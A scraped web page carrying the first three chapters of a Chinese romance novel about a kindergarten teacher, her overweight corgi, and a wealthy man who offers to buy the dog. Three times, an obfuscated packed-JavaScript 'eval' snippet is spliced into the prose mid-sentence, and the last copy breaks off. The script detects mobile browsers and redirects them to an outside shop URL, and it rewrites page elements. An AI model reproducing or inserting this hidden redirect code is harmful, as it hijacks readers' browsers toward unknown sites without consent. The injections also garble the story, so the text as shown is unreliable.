《被迈巴赫搭讪后》 1. 第 1 章 问:对于盼着周末休息的打工人来说,最无情最残酷的是什么? 答:是早起! 周六早晨七点,江萄依依不舍掀开被子,仿佛离开的不是被窝,是男神迷人的怀抱。 一脚推开横躺在房间门口,比吸水后膨胀的防汛沙袋还厚实的江四喜,江萄扬声:“妈,你能不能别再给四喜喂那么多肉了,它现在进狗窝都卡屁股了。” 江四喜是一只普通的黄白柯基。从垃圾堆捡回来的时候,脏兮兮、瘦骨嶙峋,也就堪堪比巴掌大一点。好吃好喝养了一年半,毛发油亮,体型和体重呈倍数增长。零元购身价随进宠物医院的次数,水涨船高。 阮淑双手戴隔热手套,端一个大红色陶瓷盘从厨房出来,随口道:“那叫健康。” 江四喜吐舌头:“汪汪!” 健康! 江萄咬着牙刷,从洗手间探出脑袋:“没听说过一句话吗?慈母多败汪!” 阮淑眼里只有狗,没有闺女。放下热好的特制狗饭,又拿来洗净的蓝莓,拨进狗碗里,说:“四喜一会儿要去比赛,可得吃饱了。对吧,四喜?” “汪!” 对! “狗,别汪了。”江萄后脚跟钩上门,一屁股坐马桶上。 她起初不理解,为什么一个狗子运动会早上八点就要到现场签到,加入主办方群聊后,她懂了。一水五花八门的宠物名,共计三百余只汪,不早点比赛,八成得闹腾到晚上。 本来,她也不想给江四喜报名,就那短胳膊短腿,屁股上插四根火柴棍,体重以辆为单位的狗子,能比得明白么。可一年份狗粮、宠物店洗澡年卡、冻干大礼包在挥动翅膀冲她勾手。 她彻底心动了,万一呢。 江四喜这狗是有点子好运在身上的。比如,下楼拉臭遛弯的功夫,屡屡踩到钱。不敢想她要是有这财运,会是个多开朗的姑娘。 一切收拾妥当,好友施灿灿的电话正好打来:“宝,你快好了没,我到你单元楼楼下了,现在上楼。” 江萄平时不跟父母住,自己在上班的幼儿园附近有一套房,五十来平的两居小户型。 通常周末会回来住两天,维系一下一家三口的亲情。现在这个距离刚好,待久了妈见打,久久见一回,她还是那颗布灵布灵的掌中宝。 “东西我都装好了,你直接拉露营车走就行。一会儿公园见。”江萄脸颊肩膀夹着手机,一手拎包,一手往包里塞江四喜的水壶、零食、臭臭袋等必备用品。 “知道了知道了。”施灿灿又问,“真不用我过去接你们啊?” “不用。”江萄给江四喜系上狗绳,“你还不知道江四喜的德行么。” 江四喜平平无奇一只基,臭毛病没少沾,其中就包括晕车。一坐车就晕,吐得死去活来,只能坐小电驴。 好巧不巧,小电驴被江同志骑走,赶早去水产市场给江四喜的狗饭进货去了。 其实家里还有一辆拉货的电动小三轮,江萄开过一次,不小心撞进绿化带,而江四喜被抛到空中,挂在树梢上。从此,她看见那辆车,有多远绕多远,倒是江四喜跃跃欲试,很想再玩一次抛抛。 “那好吧,一会儿见咯。”施灿灿在电话那头道。 “一会儿见。” 江萄收了手机,牵江四喜下楼。 江四喜昂头挺胸,挂在脖子上镀金的铁元宝项圈一晃一晃。从单元楼到小区门口,不停有大爷大妈小孩和江四喜打招呼,过来一个人,江四喜就汪一声。 走出小区大门,江萄弯腰扯正阮淑特意别在狗耳朵处的绿色蝴蝶结,顺手轻拍脑门:“你还挺得意。” 江四喜无辜:“啊呜。” 不能得意吗?妈妈酱。 小区距离公园1.2公里,途径两个红绿灯,一条道走到底,就能到达。 江萄啃着阮淑自己做的南瓜馒头,呼吸路边新鲜尾气,手机铃声蓦然响起。 一个本地号码的陌生来电。大概是东东快递,直播间抢的粉丝福利半价狗粮。一万多人的狗粮直播间,就放五单福利,江四喜狗爪往她平板上一搭,抢到了。江萄当场夸它好大儿,差点儿没把江四喜得意坏。 “请问是江四喜女士吗?” “对。”自打有了江四喜,江萄把所有的用户信息都改成狗子大名。 “江四喜女士,我这里是榕城公安局,你涉嫌洗钱业务,现已违反《反洗钱法》……” “……”死平台又泄漏她个人信息。任由电话那头叽里呱啦,她蹲下和瞪狗眼的江四喜对视,“四喜啊,日子也是好起来了,你都会洗钱了呢。” 江四喜:“呜汪!” 洗钱! 江萄接着深深叹气,平时出门回家洗个脚都费劲,还洗钱呢,电话递到狗嘴边,说:“四喜骂他,妈妈奖励你零食。” 江四喜:“汪汪!” 你这个狗东西! 老六! 糟老头子! 小伙子估计刚上岗,明显没有老伙计沉得住气。气急败坏问候老江家九泉之下的列祖列宗后,怒挂电话。 江四喜发挥结束,睁着亮晶晶的狗眼边哈气边看江萄,兑换奖励。 “四喜真棒。”江萄摸狗头,喂上一颗蓝莓。江四喜绕她脚转圈,又喂一颗蓝莓。 一人一狗玩得起劲,没注意路边停靠的锃亮黑色SUV,车窗已经降下好一会儿。 江萄勾着还剩半个馒头的保鲜袋起身,随意转头,和副驾上的人打了照面。 性别男,性格未知。五官眉眼痞帅,露额短发利落,漆黑眸子扫来,如凌厉锋刃。 看上去凶神恶煞十分不好惹。 江萄私心觉得这位帅哥八成在道上混过,指不定以前念书还勒索过乖学生保护费。她登时机警起来,绕两圈狗绳在掌心,准备往最里侧走。 忽然,副驾门唰一下打开,帅哥身高腿长,两步走到她跟前停下。 深棕雕花牛津鞋,合体西裤包裹紧实大腿。再往上,黑衬衫整齐掖在西裤里,没系腰带,比板正的商务风添几分随性。袖子挽高到手臂处,肌肉线条流畅,黑色表带卡在腕骨处。 视线放平,江萄看到一片没系到顶的衬衫露出锁骨肌肤。挺白,也挺高。她165的身高,感觉只到他下巴。余光一顿,隐约瞥到手臂处有一块歪歪扭扭的黑色印记,看着像…… 纹身?! 完蛋,道上混过的概率提升到九成! 江萄心里一惊,拽江四喜就想走。 哪知江四喜这好大儿不合时宜掉链子,整只狗趴在地上,连狗脑袋也耷拉下来,眼睛滴溜溜,望狗石似的,岿然不动。 她暗暗用劲,江四喜依旧这死出样。无法,江萄左手也握上狗绳,做好随时把江四喜抡出去当防身武器的准备。以江四喜这个吨位,应该能为她争取逃跑时间。 帅哥视线跟X光似的,扫完狗子,又扫人。江萄觉得这X光自带辐射,明显感受到强烈的侵略和气场的压制。 他眉峰一拧,她的眼皮眨动频率不禁变快。薄唇微启,她的心脏跳动跟着变频。跟变频空调似的,一会嗡嗡,一会呜呜。 “姑娘,你这狗卖吗?”帅哥开口道。 你这狗卖吗? 狗卖吗? 卖吗? 卖……什么东西? 江萄眨眼好半晌,还是不敢相信自己的耳朵。抬头的动作一慢再慢,最后夹角定格在45度仰视帅哥,半张嘴,非常呆地“哈?”了一声。 如果江萄是仰视45度,裴乘舟则是俯视45度。 眼前的姑娘眉目清纯如纯白茉莉花,清新、素净,偏淡颜。眼角眼尾像月牙弯弯,头小脸小,裴乘舟怀疑还没他巴掌大。挺清纯氧气感十足一姑娘,就是看着有点状况外的呆,跟她长袖T恤上的美羊羊一个样。 难道吓着了? 还是脑子不太灵光? 裴乘舟耐着性子,温醇柔声道:“姑娘,你这狗,卖吗?” 语气跟刚才对比,简直像用了变声器,江萄从堪比CV苏得肝尖颤的声线中醒神。 那必须不能卖啊! 江四喜在家里的地位已经跃升至第一,阮淑女士甚至每个月给她补贴宠物专项生活费,江萄美滋滋充公。为了自己的小金库,她坚定回答—— 不卖! “十万。”裴乘舟追价。 “……啊?”江萄嘴角抖动,彻底傻眼,“多、多少?” “我出十万。”裴乘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310799|198832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舟重复,眼睛直勾勾紧盯她表情,以及嘴巴里如果冻般颤了一颤的小舌头,继续温声道,“你要是同意,现在可以给你转账。” 十、十万?! 江四喜身价值十万? 五官各有自己的想法,一个往东,一个奔西。她实在不懂这狗子哪里值十万。因为价格太悬浮不落地,又不得不警惕这是什么新型杀猪盘诈骗手段,专挑年轻貌美女士下手。 裴乘舟屏息,姑娘一副要点头不点头的纠结模样,背在身后的拳头也跟着握紧。 “不好意思噢先生,这只狗狗是我们家的一员,对我们来说,它就像家人一样重要。”江萄露出哄小朋友的职业微笑,“先生,要不您去宠物店看看?前面直行右拐就有一家呢。” 说完,江萄弯腰扛起三十斤的江四喜,两腿不停倒腾,边走边后悔。就不应该穿拖鞋出门,想快都快不起来。 清透尾音似轻灵掠过的清风,四月新长的绿叶随风拂摇。 裴乘舟扶着身旁的歪脖子树,一脸交易失败的惋惜,目送狗主人蹒跚的步伐和狗屁股一弹一弹的滑稽背影离开。 一声喟叹从唇边溢出—— 太好了。 他拉开车门,重新坐进车里。 后座稚嫩童音立马问出声:“小舅舅,姐姐怎么说?” “姐姐说狗不卖。” 没得到期待的回答,一只肉乎乎的手臂勒住裴乘舟脖颈。 “松手,裴小可。你要是把我勒死了,谁当你临时监护人。”裴乘舟拽开那没有威胁力的米其林肉藕条,继续搓左臂残余的米奇图案,“还有啊,以后再往我胳膊上贴纹身贴,我也往你脑门上贴。” 裴小可嘴巴撅老高,能挂两斤油,气呼呼道:“小舅舅是世界上最讨厌的小舅舅!我好朋友的小舅舅就给她买芭比娃娃!给她买可爱的猫咪和小狗!”她把自己认识的动物一个个全补充上去,“……还有熊猫,老虎,长颈鹿!” 裴乘舟嗤声:“合着你好朋友家里有个动物园呢。这样吧裴小可,你去认他当小舅舅,我倒贴十万给他。” 裴小可脑袋快仰上天,裴乘舟从后视镜看一眼,语气凉薄:“你再闹腾一下,我一会儿就找个快递公司,把你装盒子里,空投去冰岛给你妈。” 裴小可这回老实了,并不想跟妈妈到处流浪,乖乖抱小马宝莉捣鼓平板。 一直在驾驶座上围观的袁易无语:“我说,你犯得着跟一个五岁小孩较劲儿?” 裴乘舟冷哼:“一码归一码,规矩该立就得立。哪天蹬鼻子上脸直接骑脑袋上,可不就完了。” 袁易斜视好友:“不至于不至于,不就一条狗么。” 至于。 非常至于。 裴乘舟抬出这么荒谬的价格,就是故意让对方起疑心,打消念头。他洁癖,感情也洁癖。无端多出一个裴小可已经够头疼,别说再多出一条狗。又是屎又是尿还一身毛,这个家他还要不要了?干脆直接过户给小孩和狗得了呗。 动画声重新响起,他往后座淡淡一瞥。裴小可一脸软萌乖巧,没了刚才贴在车窗边嗷嗷叫,想要姐姐手里那条狗的骄纵任性样。 裴乘舟靠回椅背,疲惫闭眼。太阳穴涨得生疼,估计酒没醒好。昨晚应酬,他陪了几杯,直接在袁易家的酒店住下。 一早起来,正准备去健身房挥发残余酒精,结果门一开,有个小孩奶声奶气叫他小舅舅。那惊悚感,不比半夜撞到湘西赶尸差。 哎哟,不能细想,一想头更疼。 裴乘舟睁开眼,仍是那棵眼熟的歪脖子树,于是问:“不走?” 袁易纳闷:“怪了,打不着火了。” 黑车在路边停半天没动,江萄和江四喜猫在不远处的树下偷望。感谢阮淑女士赐她一双明亮视力又好的大眼睛,后头车标无比清晰。 三角饭团里面双M交叉。 江萄在心里倒喝一口气,这不是大名鼎鼎霸总标配的迈巴赫吗? 她一脸慈祥给江四喜顺毛。 好险噢四喜,差点就让你跟帅哥过上好日子了! 一转念,又想起刚才帅哥开价的十万,江萄猛掐四喜肥臀,让自己清醒。啧啧,差点把自己给绕进去,现在的骗子真舍得下血本。 2. 第 2 章 “你是说,你和四喜在来的路上碰到一辆迈巴赫,迈巴赫上下来一帅哥,帅哥问狗卖不卖,你说不卖,帅哥接着开价十万……”施灿灿摸上江萄额头,又反手摸自己的,纳闷,“不烫呀。” 江萄拉下施灿灿的胳膊,说:“是吧,我也觉得是骗子。” “是挺难评。”几秒钟后,施灿灿杵杵身旁牵狗的人,忽然问出一个风马牛不相及的问题,“哎,你说的那个迈巴赫帅哥,帅吗?” 江萄挠挠下巴,回忆半晌,点头:“挺帅。” 一个鼻子一张嘴,两只眼睛一双耳,是擦肩而过,会回头多看两眼的帅哥。 施灿灿提出另一种假设:“说不定不是骗子呢。” “干嘛啊,三观跟着五官走啊?”她无语。 “万一,我是说万一,这不是在假设么。不过话说回来,真十万的话……”施灿灿猛转头,“岂不是顶你一年的工资了?” 没那么多。 江萄顺着她的假设痛心纠正:“确切来说,是一年半的工资。” “哎,你说,现在去追迈巴赫,还来得及吗?” 没等江萄开口,施灿灿又扯她衣袖,贼兮兮道,“要不下次再见到迈巴赫,你就和江四喜一起汪一声,然后问他:大哥,你要哪一只?” 江萄:“……” “噢对对对,你也可以假装卖掉,然后加大哥的联系方式,就说、就说…”施灿灿击掌,“就说想狗了,想过去看看。你看,这一来二去不就熟悉了吗。说不定到那天,你和四喜都过上了好日子。” “能不能醒醒,大白天的,不适合做春秋大梦。”江萄满脸无语拉她快点走,往公园巷方向而去,毕竟正事更要紧。 比如,卖小饼干。 比如,江四喜的狗子运动会。 今天江四喜比赛的公园有一条文创街巷,主打售卖美食文创小玩意。施灿灿美院毕业,经营着一家半死不活的画廊,平时喜欢捣鼓美甲放松心情。她还在文创街租了一个小摊位,雇了一个小姑娘帮忙卖些穿戴甲和一些稀奇古怪的个性饰品。 江萄除了幼儿园老师这个嫩芽的园丁职业外,还经营一家很小的线上烘焙工作室。非常新鲜热乎,证件刚办下来没半个月。 施灿灿主动问要不要给她腾个位置卖点小点心打广告引流的时候,江萄求之不得,狂亲她两口。 这两天下班后,江萄一直在捣鼓各种猫猫狗狗形状的手作饼干,就等着周末狗子运动会那天,放到小摊上售卖。 她和施灿灿住在同一小区,因为周末回父母家住,而且得提防江四喜狗狗祟祟偷吃小饼干,于是干脆放在了小公寓,拜托施灿灿帮忙把小饼干带来公园。 两人在摊位上磨蹭一会儿,离八点半没剩下几分钟,江萄忙带着江四喜去签到,抽签决定上场顺序。 别说,江四喜运气是好。矮子里面拔高个,同组比赛狗子们,就三十斤的江四喜块头最大。 江萄趁候场空当,薅一波参赛小礼品的羊毛,手里的狗绳陡然被一股力道往后拽。她回头,江四喜和另一只柯基玩得不亦乐乎。 江萄在心里叹气,儿啊,可别蹦哒了,一会该没力气比赛了。但面上还是笑容满满,与柯基的主人寒暄。 和江四喜玩耍的狗子叫年糕,纯白色柯基,右眼有一圈黄,很少见的颜色。年糕名字起得很应景,远远看过去特别像一根年糕,还得是露馅儿的芝士夹心年糕,圆鼓鼓一条。 至于年糕的主人…… 江萄没看清。 棒球帽、大墨镜,只见下半张脸。尖下巴,下颌线线条柔和,偏清秀,酒窝处有颗痣。 别说,和她的电竞男神MZ相似度高达百分之八十,清洌的少年音也像。不过,特别喜欢分享生活的男神好像没在社交平台po过狗狗照,毕竟她男神是个踩鸡屎都要发九宫格的人,大概率不是同一个。 狗子运动会比到下午三点半,江萄牵着江四喜在领奖台享受四面八方的掌声。江四喜关键时刻发力,没辜负她的期待,夺得小犬组比赛冠军。 “江四喜真厉害。” 江萄欣然接受赞美,由衷对身旁的人说:“你家年糕也不赖。” 两只基依依不舍,cos梁山伯与祝英台、罗密欧与朱丽叶。江萄化身古板封建专制独裁的家长,棒打鸳鸯。 年糕一走,江四喜闷闷不乐,江萄又拖又拽,实在不想再跟早上一样扛煤气罐似地扛着它,于是蹲下哄:“四喜,我们过几天去找年糕玩好不好?” 耷拉的狗眼滴溜溜一转,转成斗鸡眼:“呜?” 尊嘟吗? 那当然是假的,鬼知道上哪里找年糕。她和年糕的主人可没留联系—— 对了,联系方式。 江萄找到主办方群聊,三百多人的群退了一半,希望年糕的主人还在。她看得眼花缭乱,眸光一定。 昵称:年糕爸爸。 头像照片正是年糕的肥臀暴击,翘到能顶好几听汽水。 她添加到通讯录,备注留言:我是江四喜麻麻,有空一起狗狗聚会呀~ “咻”的一声,提示音响起。 陈默泽垂眸扫过新的朋友亮起的小红点,低头瞄一眼趴在地上的年糕,点击同意,顺势用手机一角戳响门铃。 里头的人出来开门挺快,关门的速度更快。只一秒,又砰一声合上。 陈默泽猛拍门,大声喊:“哥!是我!你怎么能把你亲爱又帅气的弟弟拒之门外!” 咔嗒,门又开了,露出一条门缝。 裴乘舟居高临下指他狗,语气寒若冰霜:“你什么时候把狗牵走,再来跟我说这句话。” “年糕这么可爱!你怎么忍心!” 无情上锁的房门,代表房子主人的态度。 陈默泽牵着狗,在院子里晃一圈,一扭头,裴乘舟黑沉着脸,抱肘站在落地窗边。像极了学生时代,冷不丁出现在教室窗边,抓违法乱纪学生讨人嫌的班主任。 他讪笑,打消对停在院中的黑车打主意的念头,把狗绳栓到院门上,眼睛贼溜溜往侧斜,悄悄隔窗观察裴乘舟脸色。 嗯。脸色稍霁。 在院门边安置好狗,陈默泽刚踩上地垫,拖鞋还没来得及找,手心就被塞进一个滚筒粘毛器。 陈默泽举着粘毛器嘟囔:“哥,你至于吗?我跟你说,洁癖也是病,得治!” “要不它滚,要不你滚。”裴乘舟冷酷无情,不跟他打商量。 “行行行。”陈默泽举手投降。 里里外外前前后后滚过一遍,陈默泽终于从玄关踏进客厅。那艰辛程度比皇上登基都难。 裴乘舟这才正眼拧眉觑他:“你们不是快比赛了?不在基地训练,怎么到处乱窜。” “这不是刚好带年糕去参加狗狗运动会嘛,就当放松了。而且难得出来一趟,过来看看你这个孤家寡人。”陈默泽说。 “什么运动会?”裴乘舟以为自己听错。 “快乐宠吧狗狗运动会。”陈默泽一字一句重复。 “……”裴乘舟无法理解,到底有多无聊,才会有这种无聊的运动会。 忽然,两个芭比粉小球从房间里滚出来,撞到陈默泽脚踝。紧接着,一道矮身影小鸭子似的吧嗒吧嗒奔跑出来。 裴小可猛刹住脚步,仰起圆滚滚的脑袋,接着往前扑,闷头撞进陈默泽怀里:“陈陈舅舅!” “哎呀,这不是住在妙妙城堡里的小可公主吗?” 裴乘舟眼前一花,头疼看着两个心理年龄不相上下的人转圈圈。 手边的玻璃杯添三回水,他努力无视一坨粉蓝粉蓝和红黑红黑搅和在一起,比风火轮还能转。他暗示自己要有同理心,降低智商,不能生气。 俗话说,打不过就加入。 裴乘舟还是觉得加入不了一点,真加入了,明天就得上精神科报道。 正要添第四回水,陈默泽放下裴小可。裴小可咯吱咯吱乐着,捡了球,又跑进房间。 陈默泽抬眼一瞄,忽然深井冰犯抽上身,一个滑步想滑到裴乘舟身边,结果踩到裴小可另一个没捡回去的小球,当场给裴乘舟磕了一个响头。 无力感像池塘溢出的水,接也不是,关水龙头也来不及,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310800|198832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能眼睁睁看池水哗啦啦淌一地。裴乘舟觉得这家是完了,没一个正常的。他爸妈、他姐、他表弟,位列其中。 那“哐”的一声,跟寺庙敲钟似的,在偌大客厅一声声回荡。 真好听,看来是颗好头。 陈默泽欲哭无泪捂额头,裴乘舟十分嫌弃,从冰箱拿一块冻得硬邦邦的猪肉给他冰敷。就这还被万千少女粉丝封为电竞男神呢,电竞男神经还差不多。 “哥。”鼻涕水往回吸溜了一下,陈默泽问,“小可怎么在你这里?我小筝姐的灵魂又无处安放,去寻找人生旷野了?” 裴乘舟冷淡嗯一声。 早上见到裴小可后,他一个电话拨过去。那头,裴筝洋洋洒洒一顿输出,先烘托可歌可泣的姐弟情深,再到展望人生美好未来以及人生的意义,最后简单一句话,提出诉求。废话文学被她玩得明明白白,概括起来很简单:她要去冰岛半年,裴小可就拜托他这个临时监护人照顾。 陈默泽又问:“那谁来照顾小可?我姨妈姨夫?” 说起这个,裴乘舟更无语。 他爸妈说要去体验热带雨林生活,真一纸机票飞去南美洲亚马逊雨林。前些天出差回来,看到父母和一群黑皮小孩的视频才知道这事儿。 “你亲爱的姨妈和姨夫去亚马逊热带雨林返璞归真了。” “……啊?”陈默泽傻眼,“那那那谁照顾裴小可?难不成你要带她去松庭园?” “她下周一就去上幼儿园。”裴乘舟说。 他真不知道裴筝怎么想的,向往自由,灵魂放纵不羁,但非得折腾个孩子出来。一问孩子爸呢?裴筝说不知道,当时他差点一口气没喘上来。而父母抱着裴小可哦哦哦地哄,丝毫不在意裴筝去父留子的行为。 裴小可就这么从猴屁股红皱巴巴的小孩茁壮成长,变成软软糯糯的糯米糍。 生父身份下落不明的情况,目前看来,没有影响到裴小可的身心健康,但另一个问题凸显出来了。 一两岁的时候还好,再大一点,裴小可能说话走路了,裴筝就开始带着娃天南地北地走。他真不信屁大点豆丁能记住人文常识名胜古迹历史事件,路都走不稳字不识几个,谈什么读万卷书不如行万里路。 今早,袁易在车里问他:“小可这些年是不是没怎么上过学?” “上过,上了十天八天还是一两个月。裴筝说幼儿园有什么好上的,整天带孩子环游世界。” “那也总不能脱离集体生活啊,回头上小学了,能适应吗?” 裴乘舟扶额:“你跟她说去,跟我说有什么用。” “你现在不是她临时监护人么。”袁易转头问裴小可,“小可,你想去幼儿园吗?在幼儿园可以和小朋友们一起玩耍,一起上课。” 裴小可甜甜说想。袁易拍拍身边人,“行了,这事包在我身上,等信儿就行。” 袁易办事很有效率,早晨说完,取走相关户籍证明,中午给他来信息说已经办妥。 他已经做好打算。这段时间,松庭园即将在北城开分店的事项他脱不开身,趁周末还有时间,他需要紧急找一名住家阿姨,照顾裴小可。 陈默泽了然噢了声,继续问:“哪个幼儿园?” “小南瓜幼儿园。” 周一早晨的小南瓜幼儿园,响起轻快悦耳的儿歌旋律。 小鸟说早早早—— 你为什么背上炸药包—— 江萄小声跟随调子哼唱,对全身镜打园服领结,又理顺掖在裙裤里的衣摆,做好伺候小少爷小公主们的准备。 她刚出门,差点撞上拎着包子豆浆进来的汪灵玉。汪灵玉条件反射,抬手护住肚子。 她和汪灵玉从前年开始搭档,一起从小班带到了中班。汪灵玉是主班,她是配班。汪灵玉比她大八岁,她习惯叫她汪姐。 “汪姐早,我先去教室了。” “哎,江萄——”汪灵玉叫住她,“今天有个新来的小朋友要进我们班。” “好的。”江萄问,“小朋友叫什么?我先去把姓名牌准备好。” “姓裴,叫裴小可。” 3. 第 3 章 裴小可是一位可可爱爱、粉雕玉琢的小朋友,脸蛋萌得能上大荧幕当童星。但在老师眼里,裴小可小朋友的某些行为显然不太萌。 裴小可在教室里坐不住的行为,已经持续半月有余。她不吵不闹也不去打扰别的小朋友,就是会在上课的时候离开教室,在园里晃悠,又或者课间休息后,不愿意回教室里上课。 江萄刚给小朋友们分好做手工的材料,一转头,裴小可坐的位置又空了出来。 今天汪灵玉请假去产检,只有她一个人带班。拜托好隔壁班的副班帮忙照看小朋友们,赶忙闪身出教室找人。 “江老师,你们班的裴小可小朋友在兔兔小屋那边。” 江萄急急忙忙下楼,迎面撞上其他班的保育老师,她道了声谢,朝幼儿园西北角的兔兔小屋而去。 人还未走近,远远瞧见小小的身影蹲在兔兔小屋石子路尽头的围栏边。红色裙子软软垂下,下身是白色打底裤,很像一颗从地里生长出来的水灵灵小蘑菇。 裴小可小手穿过围栏,戳了戳凑在围栏边湿漉漉的狗鼻子,又摸摸它别在耳边的绿蝴蝶结。 突然,围栏外的狗立起前腿,大声吠了一声。裴小可被吓一跳,不小心摔了个屁墩朝地四肢朝天。 狗子看见来人,兴奋地骨碌碌原地打转,又连着汪汪好几声。 江萄快步走到尽头,牵起裴小可,问有没有摔疼。裴小可头摇得和拨浪鼓一样,说没有。她这才紧蹙眉,透过栏杆盯狗。 围栏外吐舌头的长舌狗,正是江四喜。 江萄不能把平时凶江四喜的表情在小朋友面前表现出来,不盯狗了,反而眯起眼。 江四喜瞧见妈妈酱的眼神,怀揣八百个心眼,生怕今天吃不到好吃的鸡腿,还得被带去减肥,于是非常识时务地怂唧唧趴在地上,嘴里低低呜一声。 阮淑正巧从江四喜身后的水果店出来,隔着栏杆看见江萄牵着一个小豆丁,心感意外。 带裴小可回教室前,江萄压低声音:“妈,你看好江四喜,别让它吓着小朋友了。” “好好好,知道了。你快去忙吧。” 回教室的路上,裴小可依依不舍,不停回头。走进教学楼后,视线被遮挡,她仰起脑袋:“葡萄老师,对不起,我不应该到处乱跑。” 江萄蹲下和她平视,理顺细细软软的齐耳短发,轻声细语:“小可已经有很大的进步了对不对?老师相信你一定可以做得更棒。”她继续哄裴小可,提高小朋友对课堂的积极性,“班上的小朋友们已经在做剪纸手工了,小可想剪什么呢?可以和老师分享吗?” “唔,我想剪——”裴小可的手指点了点自己的脸颊,十分认真地思考问题,“我想剪只小狗狗,还要给它剪狗狗玩具,还有漂亮的衣服!” 裴小可叽叽喳喳表述自己的想法,江萄耐心笑着,适时表扬一句。 眼见裴小可绽开笑容,江萄特别想双手合十谢天谢地,只要这些小祖宗不磕着碰着不无缘无故嗷嗷哭,一切都好说。 回到教室里,她感激地和佟思露道谢。佟思露瞄一眼已经回位置坐好,对着纸张开始作画的裴小可,轻声问:“小朋友没事吧?” 江萄重重叹气,麻木地搓搓脸。此时无声胜有声,肢体动作反应心境变化。佟思露没忍住乐出声,同情拍拍她的肩,回隔壁教室。 上午课程结束,便是小朋友们的午餐时间。江萄帮忙保育老师分好餐,便回办公室,和产检回来的汪灵玉反应裴小可的情况。 汪灵玉听完,也颇为无奈。同样行为的小朋友不是没有,家长很愿意配合纠正,但裴小可…… “裴小可的家长还是没来?”江萄看出她面上欲言又止的无奈,试探问。 “联系好多次了,每次都说在外地出差,暂时没办法回来。”汪灵玉头疼道。 江萄埋头整理散落办公桌上做环创的彩色卡纸,默不吭声。 自打进幼儿园当老师后,她才发觉,现在当家长的门槛实在太低。 有些家长对孩子跟对待宠物似的,非得让孩子指哪打哪乖乖听话;要么就是耀祖爸妈,总想时刻掌控孩子的动态;还有一类,对孩子不闻不问……就像裴小可,也不知道她的家长在谈几个小目标的项目,比孩子还重要? 不过这些又与她何干,多操两份心并不会让园长涨工资,不被倒扣钱就谢天谢地咯。 下午放学,待班上的小朋友们陆续被家长接走后,江萄回办公室继续备课写资料,直到六点整,打卡下班。 刚和门口的保安打招呼踏出幼儿园大门,忽然,身后有股很轻的力道在拉她的衣摆。 宽松卫衣变成紧身款,贴在身上,同时,响起一道软糯糯的声音—— “葡萄老师。” 江萄脚步一顿,闻声回头,面露诧异。 裴小可正抬起可爱的脸蛋看她,拉住卫衣下摆的小手还未松开。边上有位中年女人,手里提着裴小可的粉色小书包,歉意道:“江老师,不好意思,给您添麻烦了。” 江萄一脸莫名。 已经放学一个多小时的小朋友不知为何还在幼儿园门口,而且这道歉,又是何意? 眼睛在一大一小之间来回扫视一遍,她微弯腰,柔声问:“小可,怎么放学了还没回家?” “葡萄老师,我、我、我……”裴小可我了半天,垂下小脑袋,不肯吭声。 江萄盯脑袋顶圆圆的发旋眨了眨眼,看向一步之外的女人,问:“你是裴小可的?” “我是裴先生请来照顾小可的住家阿姨,负责照顾她饮食起居,接送她上学放学。”女人答。 裴先生? 可能是裴小可的父亲吧。 江萄继续问:“小可的父母在外面出差,一直没回来吗?” “这……”女人为难,“具体情况我也不清楚。” 江萄只是礼貌笑笑,不再打探学生家的隐私。 女人又开口道:“刚才接到小可之后,我准备要带她回家,没想到小可却不肯走,她说想等江老师您。” “等我?”江萄微愣。 等她? 视线重新移回裴小可身上,她蹲下和裴小可平视,“小可,可以告诉老师为什么吗?” “我……”裴小可快把手指头绞成麻花,终于鼓起勇气问出口,“葡萄老师,我可以去看看小狗吗?那只、那只绿色蝴蝶结小狗。” 绿色蝴蝶小狗……? 江萄立刻反应过来裴小可说的是江四喜。裴小可怕她不答应,向她保证道:“葡萄老师,我就远远看一眼,一定不欺负狗狗。” 眉眼耷拉,睫毛扑扇,脸颊微微鼓起,特别像一颗软糯白嫩的小汤圆。江萄不忍看她眼巴巴的可怜兮兮样,一时之间软了心。 江四喜原本趴在门口当招财狗,闻到熟悉的味道,立马支愣起前爪。 果然! 妈妈酱下班回来了! 只是—— 江四喜不停动狗鼻子,除了妈妈酱的味道外,还有一股草莓味! 噢! 草莓! 香香甜甜的草莓!熟悉的味道! 江四喜口水快滴落到地上,耸动的狗脑袋忽地一定。 妈妈酱带来的不是草莓,而是人类幼崽,是刚才戳它狗鼻子的幼崽! 一见到狗,裴小可眼里的雀跃在闪动,但还是乖乖履行诺言,只远远蹲在台阶上挥动小手。 江萄不敢让江四喜靠太近,怕把小豆丁吓出个好歹,她寸步不离陪在裴小可身边,柔声介绍:“小可,这只狗狗叫江四喜。” “四喜你好呀,我叫裴小可~” 江四喜非常懂拿捏小孩,表演起打滚的绝活,裴小可被逗得咯吱咯吱笑。 “四喜——” “汪!” 人未出现,声音已至。没过几秒,阮淑从水果店里头出来,手里端了一个陶瓷碗。 那只碗在四喜面前放下,裴小可点了点江萄的衣袖,问:“葡萄老师,四喜要吃晚饭了吗?” “是呀,四喜要吃晚饭了。” “那……”裴小可眨眨眼,“葡萄老师,我也该回家吃饭了。” 临走前,裴小可和狗道别和江萄道别。牵着住家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 